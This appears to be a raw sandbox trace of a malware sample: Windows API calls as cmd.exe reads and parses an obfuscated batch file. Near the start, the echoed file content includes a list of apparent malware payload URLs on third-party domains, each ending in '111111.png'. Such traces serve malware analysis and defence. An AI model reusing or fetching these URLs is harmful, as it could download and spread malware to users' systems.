...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0233.586] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.586] GetFileType (hFile=0x9c) returned 0x1 [0233.586] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.586] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16d3 [0233.586] GetProcessHeap () returned 0x20b0f920000 [0233.587] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.587] GetProcessHeap () returned 0x20b0f920000 [0233.587] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.589] _tell (_FileHandle=3) returned 5843 [0233.589] _close (_FileHandle=3) returned 0 [0233.589] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.589] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.589] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.589] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5843, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16d3 [0233.589] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.590] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16d3 [0233.590] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xe2, lpOverlapped=0x0) returned 1 [0233.590] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5899, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x170b [0233.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 56 [0233.590] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.590] GetFileType (hFile=0x9c) returned 0x1 [0233.590] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.590] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x170b [0233.590] GetProcessHeap () returned 0x20b0f920000 [0233.590] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.591] GetProcessHeap () returned 0x20b0f920000 [0233.591] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.591] _wcsicmp (_String1="XP", _String2=")") returned 79 [0233.591] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0233.591] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0233.591] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0233.591] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0233.591] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0233.591] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0233.591] GetProcessHeap () returned 0x20b0f920000 [0233.591] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.591] GetProcessHeap () returned 0x20b0f920000 [0233.591] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f92a230 [0233.591] GetProcessHeap () returned 0x20b0f920000 [0233.591] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f94aff0 [0233.591] _tell (_FileHandle=3) returned 5899 [0233.591] _close (_FileHandle=3) returned 0 [0233.592] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.592] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.592] GetFileType (hFile=0x50) returned 0x2 [0233.592] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.592] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.592] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.592] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.600] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.600] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.600] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.600] GetFileType (hFile=0x50) returned 0x2 [0233.600] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.600] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.600] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.601] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.601] GetFileType (hFile=0x50) returned 0x2 [0233.601] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.601] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.601] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.601] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f92a240*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f92a240*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.602] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0233.602] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.602] GetFileType (hFile=0x50) returned 0x2 [0233.602] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.602] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.602] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.603] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0233.603] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.603] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.603] GetFileType (hFile=0x50) returned 0x2 [0233.603] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.603] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.604] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.604] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.609] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.609] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.610] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0233.610] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0233.610] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0233.610] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0233.610] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0233.610] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0233.610] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0233.610] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0233.610] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0233.610] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0233.610] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0233.610] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0233.610] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0233.610] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0233.611] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0233.611] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0233.611] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0233.611] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0233.611] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0233.611] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0233.611] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0233.611] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0233.611] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0233.611] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0233.611] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0233.611] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0233.611] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0233.611] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0233.611] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0233.611] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0233.611] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0233.611] _wcsicmp (_String1="XP", _String2="START") returned 5 [0233.612] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0233.612] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0233.612] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0233.612] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0233.612] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0233.612] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0233.612] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0233.612] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0233.612] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0233.612] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0233.612] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0233.612] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.612] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.613] GetProcessHeap () returned 0x20b0f920000 [0233.613] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.617] SetErrorMode (uMode=0x0) returned 0x0 [0233.617] SetErrorMode (uMode=0x1) returned 0x0 [0233.617] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.617] SetErrorMode (uMode=0x0) returned 0x1 [0233.617] GetProcessHeap () returned 0x20b0f920000 [0233.617] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0233.617] GetProcessHeap () returned 0x20b0f920000 [0233.617] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0233.617] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.617] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.618] GetProcessHeap () returned 0x20b0f920000 [0233.618] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0233.618] GetProcessHeap () returned 0x20b0f920000 [0233.618] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.618] GetProcessHeap () returned 0x20b0f920000 [0233.618] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.618] GetProcessHeap () returned 0x20b0f920000 [0233.618] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.618] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.618] GetProcessHeap () returned 0x20b0f920000 [0233.618] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0233.618] GetProcessHeap () returned 0x20b0f920000 [0233.618] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956a30 [0233.618] GetProcessHeap () returned 0x20b0f920000 [0233.618] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0233.618] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.618] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.619] GetLastError () returned 0x2 [0233.619] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.619] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.619] GetLastError () returned 0x2 [0233.619] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.619] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.620] GetLastError () returned 0x2 [0233.620] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.620] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.620] GetLastError () returned 0x2 [0233.620] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.620] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.620] GetLastError () returned 0x2 [0233.620] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.620] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.621] GetLastError () returned 0x2 [0233.621] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.621] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.621] GetLastError () returned 0x2 [0233.621] ??_V@YAXPEAX@Z () returned 0x1 [0233.621] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.624] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.624] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.624] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.624] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.625] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0233.625] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0233.625] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0233.625] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0233.625] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0233.625] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0233.625] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0233.625] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0233.625] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0233.625] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0233.625] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0233.625] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0233.625] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0233.625] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0233.625] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0233.625] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0233.625] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0233.625] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0233.625] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0233.625] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0233.625] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0233.625] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0233.625] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0233.626] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0233.626] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0233.626] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0233.626] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0233.626] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0233.626] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0233.626] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0233.626] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0233.626] _wcsicmp (_String1="XP", _String2="START") returned 5 [0233.626] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0233.626] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0233.626] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0233.626] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0233.626] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0233.626] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0233.626] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0233.626] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0233.626] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0233.626] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0233.626] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0233.626] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0233.626] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0233.626] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0233.626] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0233.626] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0233.626] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0233.626] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0233.626] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0233.626] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0233.626] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0233.626] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0233.627] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0233.627] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0233.627] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0233.627] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0233.627] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0233.627] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0233.627] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0233.627] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0233.627] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0233.627] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0233.627] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0233.627] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0233.627] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0233.627] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0233.627] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0233.627] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0233.627] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0233.627] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0233.627] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0233.627] _wcsicmp (_String1="XP", _String2="START") returned 5 [0233.627] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0233.627] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0233.627] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0233.627] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0233.627] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0233.627] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0233.627] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0233.627] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0233.627] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0233.627] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0233.627] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0233.627] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0233.627] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0233.628] ??_V@YAXPEAX@Z () returned 0x1 [0233.628] GetProcessHeap () returned 0x20b0f920000 [0233.628] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0233.628] GetProcessHeap () returned 0x20b0f920000 [0233.628] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956e20 [0233.628] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0233.628] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.628] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.629] GetProcessHeap () returned 0x20b0f920000 [0233.629] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0233.630] SetErrorMode (uMode=0x0) returned 0x0 [0233.630] SetErrorMode (uMode=0x1) returned 0x0 [0233.630] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.630] SetErrorMode (uMode=0x0) returned 0x1 [0233.630] GetProcessHeap () returned 0x20b0f920000 [0233.630] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0233.630] GetProcessHeap () returned 0x20b0f920000 [0233.630] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0233.630] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.630] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.630] GetProcessHeap () returned 0x20b0f920000 [0233.630] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0233.631] GetProcessHeap () returned 0x20b0f920000 [0233.631] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.631] GetProcessHeap () returned 0x20b0f920000 [0233.631] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.631] GetProcessHeap () returned 0x20b0f920000 [0233.631] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.631] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.631] GetProcessHeap () returned 0x20b0f920000 [0233.631] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0233.631] GetProcessHeap () returned 0x20b0f920000 [0233.631] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956760 [0233.631] GetProcessHeap () returned 0x20b0f920000 [0233.631] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956760) returned 0x7e [0233.631] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.631] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.631] GetLastError () returned 0x2 [0233.631] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 